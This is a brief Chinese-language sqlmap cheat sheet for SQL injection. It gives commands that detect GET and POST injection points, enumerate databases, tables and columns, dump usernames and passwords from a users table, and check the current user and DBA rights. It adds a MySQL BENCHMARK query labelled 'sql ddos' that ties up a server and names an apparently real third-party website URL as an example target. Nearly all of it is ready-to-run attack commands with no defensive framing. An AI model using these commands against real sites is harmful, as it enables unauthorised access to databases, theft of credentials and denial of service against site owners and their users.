检测注入点
GET注入
1 | sqlmap -u "https://sl.ngrok.spring-cloud.tk/users?username=admin" --batch --random-agent --delay=0.5 |
POST注入
1 | sqlmap -u "https://sl.ngrok.spring-cloud.tk/users?username=admin" --data="username=admin" --batch --random-agent --delay=0.5 |
查询目标存在的数据库
1 | sqlmap -u "https://sl.ngrok.spring-cloud.tk/users?username=admin" --batch --random-agent --delay=0.5 --dbs |
查询指定数据库的表
1 | sqlmap -u "https://sl.ngrok.spring-cloud.tk/users?username=admin" --batch --random-agent --delay=0.5 --tables -D sql_inject |
查询表结构
1 | sqlmap -u "https://sl.ngrok.spring-cloud.tk/users?username=admin" --batch --random-agent --delay=0.5 --columns -T users -D sql_inject |
查询表数据
1 | sqlmap -u "https://sl.ngrok.spring-cloud.tk/users?username=admin" --dump -C "id,username, password" -T users -D sql_inject --batch |
枚举当前用户
1 | sqlmap -u "https://sl.ngrok.spring-cloud.tk/users?username=admin" --current-db --current-user --hostname --is-dba |
清除缓存
1 | sqlmap -u "https://sl.ngrok.spring-cloud.tk/users?username=admin" --flush-session --fresh-queries |
注入详情
1 | sqlmap -u "https://sl.ngrok.spring-cloud.tk/users?username=admin" -v 1 |
sql ddos
1 | select benchmark(99999999999,0x70726f62616e646f70726f62616e646f70726f62616e646f) |
案例
1 | http://www.asfaa.org/members.php?id=1 |